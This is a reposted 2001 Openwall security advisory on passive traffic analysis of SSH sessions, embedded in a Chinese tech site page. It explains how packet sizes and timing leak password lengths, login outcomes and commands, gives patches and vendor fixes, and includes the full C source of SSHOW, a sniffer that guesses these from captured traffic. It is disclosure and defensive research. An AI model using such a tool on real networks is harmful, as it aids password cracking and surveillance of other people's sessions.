Passive Analysis of SSH (Secure Shell) Traffic

CentOS 7 部署 Zabbix 6.0 完整实践:SELinux、PHP 7.4、MySQL 5.7 与 Active 模式详解 Zabbix 是一款企业级开源监控系统,其核心能力涵盖数据采集、告警引擎、自动发现与分布式代理调度。部署原理涉及操作系统安全机制(如 SELinux 策略)、Web 运行环境(PHP 版本及扩展兼容性)、数据库字符集与事务一致性(MySQL utf8mb4)、以及 Agent 通信模式(Active/Passive)等关键技术环节。在 CentOS 7 这一广泛用于生产环境的稳定发行版上,Zabbix 6.0 的落地需突破默认策略限制、依赖版本错配、网络策略收敛与安全基线加固等工程挑战。典型应用场景包括中小 阅读详情
创建时间:2001-03-20
文章属性:转载
文章来源: http://www.openwall.com/
文章提交: quack (quack_at_xfocus.org)

-----BEGIN PGP SIGNED MESSAGE-----

OW-003-ssh-traffic-analysis, revision 1
March 19, 2001

Passive Analysis of SSH (Secure Shell) Traffic
----------------------------------------------

This advisory demonstrates several weaknesses in implementations of
SSH (Secure Shell) protocols.  When exploited, they let the attacker
obtain sensitive information by passively monitoring encrypted SSH
sessions.  The information can later be used to speed up brute-force
attacks on passwords, including the initial login password and other
passwords appearing in interactive SSH sessions, such as those used
with su(1) and Cisco IOS "enable" passwords.

All attacks described in this advisory require the ability to monitor
(sniff) network traffic between one or more SSH servers and clients.

Fix information, patches to reduce the impact of traffic analysis, and
a tool to demonstrate the attacks are provided.


Impact
------

Version 1 of the SSH protocol, unless its implementation takes special
precautions to avoid this, exposes the exact lengths of login
passwords used with password authentication.  The SSH-2 protocol
doesn't reveal as much information, but a range of possible password
lengths can still be determined.

Additional weaknesses make it possible to detect when a password is
entered during an interactive SSH session, and to discover even more
information about such passwords, including their exact lengths (with
both protocol versions) and timing information.  The latter exposes
the likelihood of possible characters in each position of a password.

All this information may be entered into a brute-force password
cracker for a significant speedup due to reduced keyspace and other
optimizations, including attacking user passwords in the order of
increasing estimated complexity.

Additionally, our SSH traffic analysis tool is able to detect the use
of RSA or DSA authentication, and in the case of RSA and SSH 1.2.x
derived SSH server implementations, the number of authorized_keys
file options.  The latter is possible due to debugging packets sent
by those implementations.  If a SSH session with RSA authentication
but no authorized_keys options is seen, an attacker may infer that
the client machine has the private key sufficient to obtain full
shell access to the server.  If the session is automated, the private
key has to be stored unencrypted.

Finally, it is possible to determine the lengths of shell commands,
and in some cases, the commands themselves (from a small list of
common ones) in an interactive session (which isn't a security issue
under most circumstances).

It should be noted that, despite their simplicity, traffic analysis
attacks such as those presented in this advisory haven't been well
researched.  We expect that similar attacks are possible against most
other "secure" (encrypted) remote login protocols.  We also expect
additional traffic analysis attacks on SSH to be discovered.  In
particular, there may be recognizable patterns in X11 connections
forwarded over SSH, but these are out of the scope of this advisory.


Password authentication vulnerability
-------------------------------------

When encapsulating plaintext data in a SSH protocol packet, the data
is padded to the next 8-byte boundary (or whatever the cipher's block
size is, with SSH-2), encrypted, and sent along with the plaintext
length field.  SSH-1 sends this field in the clear.

As a result, an attacker passively monitoring a SSH session is able
to detect the amount of plaintext sent in each packet -- exact for
SSH-1, or a range of possible lengths for SSH-2.

Since the login password is sent in one SSH-1 protocol packet without
any special precautions, an attacker can determine the exact password
length.

With SSH-2, other information (including the username) is transmitted
in the same packet and the plaintext length is encrypted, so only a
range of possible password lengths can be determined.

Fortunately, due to the use of C strings in most SSH-1 server
implementations, it is usually possible for a SSH client to add
sufficient NUL padding for just the passwords without a change to the
protocol.  We recommend that future SSH-1 server implementations allow
for this padding, even in cases where the underlying OS interfaces do
not necessarily imply this.

An alternative workaround, proposed by Simon Tatham, is to send a
sequence of SSH-1 messages containing strings of increasing length.
Exactly one of these messages is SSH_MSG_PASSWORD and contains the
password string.  All the rest are SSH_MSG_IGNORE.  It is important
that the number of messages sent remains constant and is sufficient
to cover the longest password we expect to see.  To safely transmit
passwords of up to 32 characters, 1088 bytes of SSH-1 messages are
needed, which may still fit within one TCP segment.  This approach has
the advantage that no assumption about SSH-1 server implementations is
made (other than that they implement the protocol correctly; some
implementations are known to have problems handling SSH_MSG_IGNORE).

The SSH-2 protocol allows for a solution (independently proposed by
several SSH-2 implementation authors) with less overhead, and without
reliance on artifacts of protocol implementation.  A pair of SSH-2
messages, SSH_MSG_USERAUTH_REQUEST and SSH_MSG_IGNORE, may be
constructed such that their combined length remains constant.  The
messages can then be sent to the transport layer at once.


Interactive session weaknesses
------------------------------

With interactive shell sessions, input characters are normally echoed
by the remote end, which usually results in an echo packet from the
server for each input character.  However, if an application turns
input echoing off, such as for entering a password, the packets start
to go in one direction only -- to the server.  Our simple traffic
analysis tool is able to detect this easily and reliably.

Once an attacker knows that the victim is entering a password, all
they need to do is count the packets that didn't generate a reply
packet from the server.  In the case of SSH-1, the sum of plaintext
sizes gives the exact password length, save any backspace characters.
With SSH-2, the attacker has to assume that each packet contains only
one password character, which is typically the case.

The delays between packets give the attacker additional information
on the likelihood of possible characters in each position of the
password.  For example, if the delay before a character is larger than
most other delays, it is likely that the character requires more than
one keystroke to type.

When typing commands in a command-line shell over SSH, each character
generates a tiny echo packet from the server.  However, once the
entire command is entered, a larger packet -- containing the shell
prompt and possibly the command's output -- is sent by the server.

By counting the tiny packets (or the plaintext lengths in packets
sent to the server, in the case of SSH-1), the attacker can infer
the length of each shell command.  To make detection more reliable
with SSH-1, it is usually possible to detect backspaces by assuming
that they produce a 3-character response (^H, space, ^H).

Once again, the delays may be used -- this time for inferring the
actual shell commands typed, from a small list of common ones.

The partial solution we propose is to modify SSH servers such that
they simulate echo packets when terminal echo is disabled by an
application.  The SSH_MSG_IGNORE message type may be used to ensure
the client doesn't actually process the contents of these fake packets.
Thus, no change to the protocol is required.

It is important to note that this partial solution may only defeat
the most generic way to infer that a password is entered.  In many
cases it is possible to do the same by other means, including
monitoring other related network traffic and events local to a SSH
server system.

Solving traffic analysis vulnerabilities not related to password
information would increase the protocol overhead significantly, and
thus doesn't seem practical for many current uses of SSH.


Compression
-----------

The use of compression makes many of the traffic analysis attacks
described above significantly less reliable.  This is because the
same amount of plaintext no longer results in the same amount of data
being transmitted.  The packet sizes are somewhat "randomized".

However, it is likely that compression also enables yet another class
of traffic analysis attacks, as the changes to packet size due to
compression aren't actually random -- they depend on the plaintext
packet contents.

We're already aware of one practical attack that is possible due to
compression.  With SSH-2, the SSH_MSG_USERAUTH_REQUEST message is
transmitted after compression is negotiated.  If enabled, the size of
the resulting TCP segment will depend on the entropy of the plaintext
password.  If a SSH_MSG_IGNORE message is used to pad the password as
we have proposed, compression may defeat some of the benefit this
could have provided.  This instance of the problem may be solved by
transmitting the SSH_MSG_USERAUTH_REQUEST and SSH_MSG_IGNORE messages
uncompressed.  However, this is non-trivial to implement if a generic
compression library is used.


Related work
------------

Several of the attacks outlined in this advisory were also
independently discovered by the authors of the following paper (still
work-in-progress), which describes some of them in greater detail:

        Dawn Xiaodong Song, David Wagner, Xuqing Tian:
        ``Timing Analysis of Keystrokes and Timing Attacks on SSH.''

In particular, they reveal that inter-keystroke timings leak about 1
bit of information per character pair, and describe an attacking
system, Herbivore, which tries to learn users' passwords by
monitoring SSH sessions.  Herbivore is demonstrated to reduce the
search space for uniformly randomly chosen passwords of 8 characters
by a factor of 50.

Although the paper is not yet publicly available, vendors working to
fix these problems may contact David Wagner <daw at cs.berkeley.edu>
or Dawn Xiaodong Song <dawnsong at cs.berkeley.edu> to obtain a copy.


Fixes
-----

Several SSH implementations have been changed to include fixes which
reduce the impact of some of the traffic analysis attacks described
in this advisory.  It is important to understand that these fixes are
by no means a complete solution to traffic analysis -- only simple
remediation for the most pressing vulnerabilities described above.

OpenSSH:

Fixes have been initially applied to OpenSSH starting with version
2.5.0.  OpenSSH 2.5.2 contains the more complete versions of the
fixes and solves certain interoperability issues associated with the
earlier versions.

PuTTY:

PuTTY 0.52 will include defenses against inferring length or entropy
of initial login passwords, for both SSH-1 and SSH-2.

SSH 1.2.x:

SSH 1.2.x users can use this unofficial patch (the patch is against
version 1.2.27, but applies to 1.2.31 as well).  Please note that a
SSH server with this patch applied will not interoperate with client
versions 1.2.18 through 1.2.22 (inclusive).

- --- ssh-1.2.27.orig/sshconnect.c      Wed May 12 15:19:29 1999
+++ ssh-1.2.27/sshconnect.c     Tue Feb 20 08:38:57 2001
@@ -1258,6 +1258,18 @@
     fatal("write: %.100s", strerror(errno));
}

+void ssh_put_password(char *password)
+{
+  int size;
+  char *padded;
+
+  size = (strlen(password) + (1 + (32 - 1))) & ~(32 - 1);
+  strncpy(padded = xmalloc(size), password, size);
+  packet_put_string(padded, size);
+  memset(padded, 0, size);
+  xfree(padded);
+}
+
/* Starts a dialog with the server, and authenticates the current user on the
    server.  This does not need any extra privileges.  The basic connection
    to the server must already have been established before this is called.
@@ -1753,7 +1765,7 @@
         /* Asks for password */
         password = read_passphrase(pw->pw_uid, prompt, 0);
         packet_start(SSH_CMSG_AUTH_TIS_RESPONSE);
- -        packet_put_string(password, strlen(password));
+        ssh_put_password(password);
         memset(password, 0, strlen(password));
         xfree(password);
         packet_send();
@@ -1791,7 +1803,7 @@
         {
           password = read_passphrase(pw->pw_uid, prompt, 0);
           packet_start(SSH_CMSG_AUTH_PASSWORD);
- -          packet_put_string(password, strlen(password));
+          ssh_put_password(password);
           memset(password, 0, strlen(password));
           xfree(password);
           packet_send();
- --- ssh-1.2.27.orig/serverloop.c      Wed May 12 15:19:28 1999
+++ ssh-1.2.27/serverloop.c     Tue Feb 20 08:38:56 2001
@@ -522,6 +522,9 @@
void process_output(fd_set *writeset)
{
   int len;
+#ifdef USING_TERMIOS
+  struct termios tio;
+#endif

   /* Write buffered data to program stdin. */
   if (fdin != -1 && FD_ISSET(fdin, writeset))
@@ -543,7 +546,18 @@
         }
       else
         {
- -          /* Successful write.  Consume the data from the buffer. */
+          /* Successful write. */
+#ifdef USING_TERMIOS
+          if (tcgetattr(fdin, &tio) == 0 &&
+              !(tio.c_lflag & ECHO) && (tio.c_lflag & ICANON)) {
+            /* Simulate echo to reduce the impact of traffic analysis. */
+            packet_start(SSH_MSG_IGNORE);
+            memset(buffer_ptr(&stdin_buffer), 0, len);
+            packet_put_string(buffer_ptr(&stdin_buffer), len);
+            packet_send();
+          }
+#endif
+          /* Consume the data from the buffer. */
           buffer_consume(&stdin_buffer, len);
           /* Update the count of bytes written to the program. */
           stdin_bytes += len;


SSHOW, the SSH traffic analysis tool
------------------------------------

We have developed a SSH traffic analysis tool, which can be used to
demonstrate many of the weaknesses described in this advisory.  The
source for initial version of the tool is included below.  Future
versions will be maintained as a part of Dug Song's dsniff package,
available at:

         http://www.monkey.org/~dugsong/dsniff/

The raw IP networking libraries required by SSHOW may be obtained at:

         http://www.tcpdump.org/release/
         http://www.packetfactory.net/Projects/Libnet/
         http://www.packetfactory.net/Projects/Libnids/

<++> sshow.c
/*
* SSHOW.
*
* Copyright (c) 2000-2001 Solar Designer <solar@openwall.com>
* Copyright (c) 2000 Dug Song <dugsong@monkey.org>
*
* You're allowed to do whatever you like with this software (including
* re-distribution in source and/or binary form, with or without
* modification), provided that credit is given where it is due and any
* modified versions are marked as such.  There's absolutely no warranty.
*
* Note that you don't have to re-distribute modified versions of this
* software under these same relaxed terms.  In particular, you're free to
* place them under (L)GPL, thus disallowing re-distribution of further
* modifications in binary-only form.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/times.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

extern char *optarg;
extern int optind;

#include <nids.h>

#if !defined(NIDS_MAJOR) || (NIDS_MAJOR == 1 && NIDS_MINOR < 15)
#error This code requires libnids 1.15+
#endif

#define HISTORY_SIZE                    16

typedef struct {
        unsigned int min, max;
} range;

typedef struct {
        int direction;                  /* 0 for client to server */
        clock_t timestamp;              /* timestamp of this packet */
        unsigned int cipher_size;       /* ciphertext size */
        range plain_range;              /* possible plaintext sizes */
} record;

struct history {
        record packets[HISTORY_SIZE];   /* recent packets (circular list) */
        int index;                      /* next (free) index into packets[] */
        unsigned int directions;        /* recent directions (bitmask) */
        clock_t timestamps[2];          /* last timestamps in each direction */
};

struct line {
        int input_count;                /* input packets (client to server) */
        int input_size;                 /* input size (estimated) */
        int input_last;                 /* last input packet size */
        int echo_count;                 /* echo packets (server to client) */
};

struct session {
        int protocol;           /* -1 not SSH, 0 unknown, 1 or 2 once known */
        int state;              /* 1 after username, 2 after authentication */
        int compressed;         /* whether compression is known to be used */
        struct history history; /* session history */
        struct line line;       /* current command line */
};

static int debug = 0;

static clock_t now;

static clock_t add_history(struct session *session, int direction,
        unsigned int cipher_size, range *plain_range)
{
        record *current;
        clock_t delay;

        current = &session->history.packets[session->history.index++];
        session->history.index %= HISTORY_SIZE;

        current->direction = direction;
        current->timestamp = now;
        current->cipher_size = cipher_size;
        current->plain_range = *plain_range;

        session->history.directions <<= 1;
        session->history.directions |= direction;

        delay = now - session->history.timestamps[direction];
        session->history.timestamps[direction] = now;

        return delay;
}

static record *get_history(struct session *session, int age)
{
        int index;

        index = session->history.index + (HISTORY_SIZE - 1) - age;
        index %= HISTORY_SIZE;

        return &session->history.packets[index];
}

static char *s_saddr(struct tcp_stream *ts)
{
        static char output[32];

        snprintf(output, sizeof(output), "%s:%u",
                inet_ntoa(*((struct in_addr *)&ts->addr.saddr)),
                ts->addr.source);
        return output;
}

static char *s_daddr(struct tcp_stream *ts)
{
        static char output[32];

        snprintf(output, sizeof(output), "%s:%u",
                inet_ntoa(*((struct in_addr *)&ts->addr.daddr)),
                ts->addr.dest);
        return output;
}

static char *s_range(range *range)
{
        static char output[32];

        snprintf(output, sizeof(output),
                range->min == range->max ? "%u" : "%u to %u",
                range->min, range->max);
        return output;
}

static void print_data(struct half_stream *stream, unsigned int count)
{
        unsigned int i;
        int printable;

        printable = 1;
        for (i = 0; i < count; i++) {
                printf("%02x%c", (int)(unsigned char)stream->data[i],
                        i < count - 1 && i % 24 != 23
                        ? ' ' : '/n');
                printable &=
                        isprint(stream->data[i]) ||
                        stream->data[i] == '/n';
        }
        if (printable && count >= 4 && !memcmp(stream->data, "SSH-", 4))
                fwrite(stream->data, count, 1, stdout);
}

static unsigned int ssh1_plain_size(struct half_stream *stream)
{
        if (stream->count_new < 4) return 0;

        return (unsigned int)(unsigned char)stream->data[3] |
                ((unsigned int)(unsigned char)stream->data[2] << 8) |
                ((unsigned int)(unsigned char)stream->data[1] << 16) |
                ((unsigned int)(unsigned char)stream->data[0] << 24);
}

static unsigned int ssh1_cipher_size(struct half_stream *stream)
{
        return 4 + ((ssh1_plain_size(stream) + 8) & ~7);
}

static range *ssh1_plain_range(struct half_stream *stream)
{
        static range output;

        output.min = output.max = ssh1_plain_size(stream) - 5;
        return &output;
}

static range *ssh2_plain_range(struct half_stream *stream)
{
        static range output;

        output.max = stream->count_new - 16;
        /* Assume min padding + 8-byte cipher blocksize */
        output.min = output.max - 7;
        if ((int)output.min < 0) output.min = 0;
        return &output;
}

static void client_to_server(struct tcp_stream *ts, struct session *session,
        unsigned int cipher_size, range *plain_range)
{
        clock_t delay;
        int payload;

        delay = add_history(session, 0, cipher_size, plain_range);

        if (debug)
                printf("- %s -> %s: DATA (%s bytes, %.2f seconds)/n",
                        s_saddr(ts), s_daddr(ts), s_range(plain_range),
                        (float)delay / CLK_TCK);
        if (debug > 1)
                print_data(&ts->server, cipher_size);

        payload = plain_range->min;
        if (session->state == 2 && payload > 0) {
                session->line.input_count++;
                session->line.input_last = payload;
                if (session->protocol == 1)
                        payload -= 4;
                else {
                        payload -= 20 + 1;
                        /* Assume several SSH-2 packets in this IP packet */
                        if (payload % 44 == 0) {
                                session->line.input_count += payload / 44;
                                /* One character per SSH-2 packet (typical) */
                                payload += payload / 44;
                                payload %= 44;
                        }
                        payload++;
                }
                if (payload <= 0) {
                        if (payload < 0 && !session->compressed &&
                            session->protocol == 1) {
                                session->compressed = 1;
                                printf("+ %s -> %s: Compression detected, "
                                        "guesses will be much less reliable/n",
                                        s_saddr(ts), s_daddr(ts));
                        }
                        payload = 1;
                }
                session->line.input_size += payload;
        }
}

static void server_to_client(struct tcp_stream *ts, struct session *session,
        unsigned int cipher_size, range *plain_range)
{
        clock_t delay;
        int skip;
        range string_range;

        delay = add_history(session, 1, cipher_size, plain_range);

        if (debug)
                printf("- %s <- %s: DATA (%s bytes, %.2f seconds)/n",
                        s_saddr(ts), s_daddr(ts), s_range(plain_range),
                        (float)delay / CLK_TCK);
        if (debug > 1)
                print_data(&ts->client, cipher_size);

/*
* Some of the checks may want to skip over multiple server responses.
* For example, there's a debugging packet sent for every option found
* in authorized_keys, but we can't use those packets in our pattern.
*/
        skip = 0;
        while (((session->history.directions >> skip) & 3) == 3)
                if (++skip > HISTORY_SIZE - 5) break;

        if (session->state == 0 &&
            session->protocol == 1 &&
            ((session->history.directions >> skip) & 7) == 5 &&
            plain_range->min == 0 &&
            get_history(session, skip + 1)->plain_range.min > 4 &&
            get_history(session, skip + 2)->plain_range.min == 0) {
                session->state = 1;
                string_range = get_history(session, skip + 1)->plain_range;
                string_range.min -= 4; string_range.max -= 4;
                printf("+ %s -> %s: GUESS: Username length is %s/n",
                        s_saddr(ts), s_daddr(ts), s_range(&string_range));
                return;
        }

        if (session->state == 1 &&
#ifdef USE_TIMING
            now - get_history(session, 2)->timestamp >= CLK_TCK &&
#endif
            session->protocol == 1 &&
            (session->history.directions & 7) == 5 &&
            plain_range->min == 0 &&
            get_history(session, 1)->plain_range.min > 4 &&
            get_history(session, 2)->plain_range.min == 0) {
                session->state = 2;
                string_range = get_history(session, 1)->plain_range;
                string_range.min -= 4; string_range.max -= 4;
                printf("+ %s -> %s: GUESS: Password authentication, "
                        "password length %s %s%s/n",
                        s_saddr(ts), s_daddr(ts),
                        string_range.min == 32 ? "appears to be" : "is",
                        s_range(&string_range),
                        string_range.min == 32 ? " (padded?)" : "");
        }

        if (session->state == 0 &&
            session->protocol == 2 &&
            (session->history.directions & 7) == 5) {
                if (plain_range->min == 4 + 9) {
                        string_range = get_history(session, 1)->plain_range;

                        if (string_range.min > 500 && string_range.min < 600) {
                                session->state = 2;
                                printf("+ %s -> %s: GUESS: DSA "
                                        "authentication accepted/n",
                                        s_saddr(ts), s_daddr(ts));
                        } else
                        if (string_range.min > 42 + 9) {
                                session->state = 2;
                                printf("+ %s -> %s: GUESS: Password "
                                        "authentication accepted/n",
                                        s_saddr(ts), s_daddr(ts));
                        }
                } else
                if (plain_range->min > 12 + 9 && plain_range->min < 56 + 9) {
                        string_range = get_history(session, 1)->plain_range;

                        if (string_range.min > 500 && string_range.min < 600)
                                printf("+ %s -> %s: GUESS: DSA "
                                        "authentication failed/n",
                                        s_saddr(ts), s_daddr(ts));
                        else if (string_range.min > 42 + 9)
                                printf("+ %s -> %s: GUESS: Password "
                                        "authentication failed/n",
                                        s_saddr(ts), s_daddr(ts));
                }
        }

        if (session->state == 1 &&
            session->protocol == 1 &&
            (session->history.directions & 3) == 1 &&
            plain_range->min == 0 &&
            get_history(session, 1)->plain_range.min == 130) {
                printf("+ %s -> %s: GUESS: RSA authentication refused/n",
                        s_saddr(ts), s_daddr(ts));
        }

        if (session->state == 1 &&
            session->protocol == 1 &&
            skip >= 1 &&
            ((session->history.directions >> (skip - 1)) & 037) == 013 &&
            plain_range->min == 0 &&
            get_history(session, skip - 1 + 2)->plain_range.min == 16 &&
            get_history(session, skip - 1 + 3)->plain_range.min == 130 &&
            get_history(session, skip - 1 + 4)->plain_range.min == 130) {
                char *what;

                switch (get_history(session, 1)->plain_range.min - 4) {
                case 28:
                        /* "RSA authentication accepted." */
                        session->state = 2;
                        if (skip > 1 && (what = alloca(64))) {
                                snprintf(what, 64,
                                    "accepted (%d+ authorized_keys option%s)",
                                    skip - 1, skip - 1 == 1 ? "" : "s");
                                break;
                        }
                        what = "accepted";
                        break;

                case 47:
                        /* "Wrong response to RSA authentication challenge." */
                        what = "failed";
                        break;

                default:
                        what = "???";
                }

                printf("+ %s -> %s: GUESS: RSA authentication %s/n",
                        s_saddr(ts), s_daddr(ts), what);
        }

        if (session->state == 2) {
                session->line.echo_count++;

                /* Check for backspace */
                if (session->protocol == 1 && !session->compressed &&
                    plain_range->min == 4 + 3 &&
                    session->line.input_size >= 2)
                        session->line.input_size -= 2;

                if (plain_range->min > 4 + session->line.input_last &&
                    session->line.input_count >= 2 &&
                    session->line.input_size >= 2) {
                        int size;
                        char *what;

                        size = session->line.input_size;
                        if (session->line.echo_count + 1 >=
                            session->line.input_count &&
                            size <= (session->line.input_count << 2) &&
                            size < 0x100)
                                what = "(command) line";
                        else
                        if (session->line.echo_count <= 2 &&
                            size <= (session->line.input_count << 1) &&
                            size >= 2 + 1 && size <= 40 + 1)
                                what = "password";
                        else
                                what = NULL;

                        if (debug)
                                printf("- %s -> %s: sent %d packets "
                                        "(%d characters), seen %d replies/n",
                                        s_saddr(ts), s_daddr(ts),
                                        session->line.input_count, size,
                                        session->line.echo_count);

                        if (what)
                                printf("+ %s -> %s: GUESS: "
                                        "a %s of %d character%s/n",
                                        s_saddr(ts), s_daddr(ts),
                                        what, size - 1, size == 2 ? "" : "s");
                }

                if (plain_range->min <= 0 ||
                    plain_range->min > 4 + session->line.input_last) {
                        session->line.input_count = 0;
                        session->line.input_size = 0;
                        session->line.echo_count = 0;
                }
        }
}

static void process_data(struct tcp_stream *ts, struct session *session)
{
        unsigned int have, need;
        char *lf;

        if (session->protocol < 0) return;

        if (ts->client.count_new &&
            (have = ts->client.count - ts->client.offset)) {
                switch (session->protocol) {
                case 1:
                        if (have < (need = ssh1_cipher_size(&ts->client))) {
                                if (debug)
                                        printf("- %s <- %s: got %u of "
                                                "%u bytes/n", s_saddr(ts),
                                                s_daddr(ts), have, need);
                                nids_discard(ts, 0);
                                return;
                        }
                        if (have != need && debug)
                                printf("- %s <- %s: left %u bytes/n",
                                        s_saddr(ts), s_daddr(ts),
                                        have - need);
                        nids_discard(ts, need);
                        server_to_client(ts, session, need,
                                ssh1_plain_range(&ts->client));
                        return;

                case 2:
                        server_to_client(ts, session, have,
                                ssh2_plain_range(&ts->client));
                        return;

                default:
                        break;
                }
        }

        if (ts->server.count_new &&
            (have = ts->server.count - ts->server.offset)) {
                if (!session->protocol) {
                        lf = (char *)memchr(ts->server.data, '/n', have);
                        if (have < 7 || (!lf && have < 0x100)) {
                                nids_discard(ts, 0);
                                return;
                        }
                        if (lf && !memcmp(ts->server.data, "SSH-", 4))
                                session->protocol = ts->server.data[4] - '0';
                        /* some clients announce SSH-1.99 instead of SSH-2.0 */
                        if (session->protocol == 1 &&
                            ts->server.data[5] == '.' &&
                            ts->server.data[6] == '9')
                                session->protocol = 2;
                        if (session->protocol != 1 && session->protocol != 2) {
                                session->protocol = -1;
                                if (debug)
                                        printf("- %s -> %s: not SSH/n",
                                                s_saddr(ts), s_daddr(ts));
                                return;
                        }
                        need = lf - ts->server.data + 1;
                        nids_discard(ts, need);
                        printf("+ %s -> %s: SSH protocol %d/n",
                                s_saddr(ts), s_daddr(ts), session->protocol);
                        if (debug)
                                print_data(&ts->server, have);
                        return;
                }

                switch (session->protocol) {
                case 1:
                        if (have < (need = ssh1_cipher_size(&ts->server))) {
                                if (debug)
                                        printf("- %s -> %s: got %u of "
                                                "%u bytes/n", s_saddr(ts),
                                                s_daddr(ts), have, need);
                                nids_discard(ts, 0);
                                return;
                        }
                        if (have != need && debug)
                                printf("- %s -> %s: left %u bytes/n",
                                        s_saddr(ts), s_daddr(ts),
                                        have - need);
                        nids_discard(ts, need);
                        client_to_server(ts, session, need,
                                ssh1_plain_range(&ts->server));
                        return;

                case 2:
                        client_to_server(ts, session, have,
                                ssh2_plain_range(&ts->server));
                }
        }
}

static void process_event(struct tcp_stream *ts, struct session **session)
{
        struct tms buf;
        char *what;

        now = times(&buf);

        what = NULL;
        switch (ts->nids_state) {
        case NIDS_JUST_EST:
                ts->client.collect = 1;
                ts->server.collect = 1;
                if (debug)
                        printf("- %s -> %s: ESTABLISHED/n",
                                s_saddr(ts), s_daddr(ts));
                if (!(*session = calloc(1, sizeof(**session)))) {
                        errno = ENOMEM;
                        perror("calloc");
                        exit(1);
                }
                (*session)->history.timestamps[0] = now;
                (*session)->history.timestamps[1] = now;
                return;

        case NIDS_CLOSE:
                what = "CLOSED";

        case NIDS_RESET:
                if (!what) what = "RESET";

        case NIDS_TIMED_OUT:
                if (!what) what = "TIMED OUT";
                if ((*session)->protocol > 0)
                        printf("+ %s -- %s: %s/n",
                                s_saddr(ts), s_daddr(ts), what);
                else if (debug)
                        printf("- %s -- %s: %s/n",
                                s_saddr(ts), s_daddr(ts), what);
                free(*session);
                return;

        case NIDS_DATA:
                process_data(ts, *session);
                return;
        }
}

static void dummy_syslog(int type, int errnum, struct ip *iph, void *data)
{
}

static void cleanup(int signum)
{
        exit(0);        /* Just so that atexit(3) jobs are called */
}

static void usage(void)
{
        fprintf(stderr, "Usage: sshow [-d] [-i interface]/n");
        exit(1);
}

int main(int argc, char *argv[])
{
        int c;

        while ((c = getopt(argc, argv, "di:h?")) != -1) {
                switch (c) {
                case 'd':
                        debug++;
                        break;
                case 'i':
                        nids_params.device = optarg;
                        break;
                default:
                        usage();
                        break;
                }
        }
        argc -= optind;
        argv += optind;

        if (argc != 0) usage();

        signal(SIGTERM, cleanup);
        signal(SIGINT, cleanup);
        signal(SIGHUP, cleanup);

        setlinebuf(stdout);

        nids_params.syslog = dummy_syslog;
        nids_params.scan_num_hosts = 0;
        nids_params.pcap_filter = "tcp";
        nids_params.one_loop_less = 1;
        if (!nids_init()) {
                fprintf(stderr, "nids_init: %s/n", nids_errbuf);
                return 1;
        }

        nids_register_tcp(process_event);
        nids_run();

        return 0;
}
<-->
<++> Makefile
CC = gcc
LD = gcc
RM = rm -f
CFLAGS = -c -Wall -O2 -fomit-frame-pointer -I/usr/local/include
LDFLAGS = -s
LIBS = -L/usr/local/lib -lnids -lnet -lpcap

PROJ = sshow
OBJS = sshow.o

all: $(PROJ)

sshow: $(OBJS)
        $(LD) $(LDFLAGS) $(OBJS) $(LIBS) -o sshow

.c.o:
        $(CC) $(CFLAGS) $*.c

clean:
        $(RM) $(PROJ) $(OBJS)
<-->


Credits and contact information
-------------------------------

This advisory, the SSHOW traffic analysis tool, and the unofficial
SSH 1.2.x patch were written by Solar Designer <solar@openwall.com>
and Dug Song <dugsong@monkey.org>.  We would like to thank the SSH
implementation authors, especially Markus Friedl and Theo de Raadt
(of OpenSSH), Simon Tatham (PuTTY), and Niels M鰈ler (LSH) for
improving on our initial SSH traffic analysis countermeasures.  We
would also like to thank David Wagner and Dawn Xiaodong Song at the
University of California, Berkeley and Ariel Futoransky of CORE-SDI
for insightful discussions.

Updated versions of this and other Openwall advisories will be made
available at:

         http://www.openwall.com/advisories/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Comment: http://www.openwall.com/signatures/
Charset: noconv

iQCVAwUBOrV7nHK5fbEpUCnxAQHSWgP/QUhSYMu5BI/swcztMhXJ4CsvTGkFu1nX
RToWC1fF5KDID3XZiK7hXc14xzERMrfyvKQFB7q4iQGqASIPckhCIfBnGexxjHo4
a4pE7Sv847Xow2Ob7zXE6R4Q0g4sjBCnu9yQ7HERT1cjWLx5FV10KonKWiW7R8uZ
vfMt3wykJuw=
=Wwg2
-----END PGP SIGNATURE-----  
【信息科学与工程学】【安全领域】 第八十八篇 网络空间安全21 如果员工认为安全政策和流程(如复杂的密码规则、频繁的认证、繁琐的软件安装审批)阻碍了工作效率,他们可能会寻找变通方法,例如:写下密码、共享账户、使用未经批准的云服务(影子IT)、绕过安全控制。例如,一个用于显示用户列表的API,可能返回每个用户的完整个人资料,包括邮箱、地址、电话等敏感字段,而前端可能只显示了姓名。:在OAuth 2.0或OIDC流程中,攻击者可能截获授权请求中的“授权码”,或窃取“访问令牌”,然后将其用于另一个客户端(非原始授权的客户端),从而以用户身份访问受保护的资源。 阅读详情

相关推荐

【信息科学与工程学】【数据中心】第三十五篇 云计算数据中心的学科知识04

编号学科(课程)核心知识点在云计算/云存储/云网络/云安全/云MaaS中的作用代表教材/资料/论文 + 数学方程式列表工业界应用D1421​云原生数据库:TiDB​HTAP(混合事务/分析处理)、分布式SQL、水平扩展、强一致(Raft)、自动故障恢复、与MySQL兼容、TiFlash列式引擎提供弹性扩展的分布式数据库;支撑高并发在线交易与实时分析教材:《TiDB in Action》PingCAP(2020) 论文:《TiDB: A Raft-based HTAP Database》(2017)

weixin_49199313的博客 409

[ctf misc][2021蓝帽杯决赛]ssh_traffic writeup

[2021蓝帽杯决赛]ssh_traffic 抓取了一段流量, 想知道他们用ssh传输了些什么呢? 附件:ssh_traffic_5e202f7c667dfd9b0398d65bfed46b2c.zip 解压得到traffic.pcapng,总共三个tcp流 过滤:tcp.stream eq 2,得到key,另存为key.json 利用工具network-parser解密ssh流量 network-parser -p traffic.pcapng --popt keyfile=key.json --p

ShenZ的博客 1893

yum安装tcpkill时出现No package dsniff available的解决方案

当使用yum搜索某些rpm包,找不到是因为CentOS是RedHat企业版编译过来的,去掉了所有关于版权问题的东西。安装EPEL后可以很好的解决这个问题。EPEL(Extra Packages for Enterprise Linux )即企业版Linux的扩展包,提供了很多可共Centos使用的组件,安装完这个以后基本常用的rpm都可以找到。今天安装tcpkill的时候提示。上网搜了一下解决方案。

勿忘初心 912

网络可视媒体的智能计算-胡事民

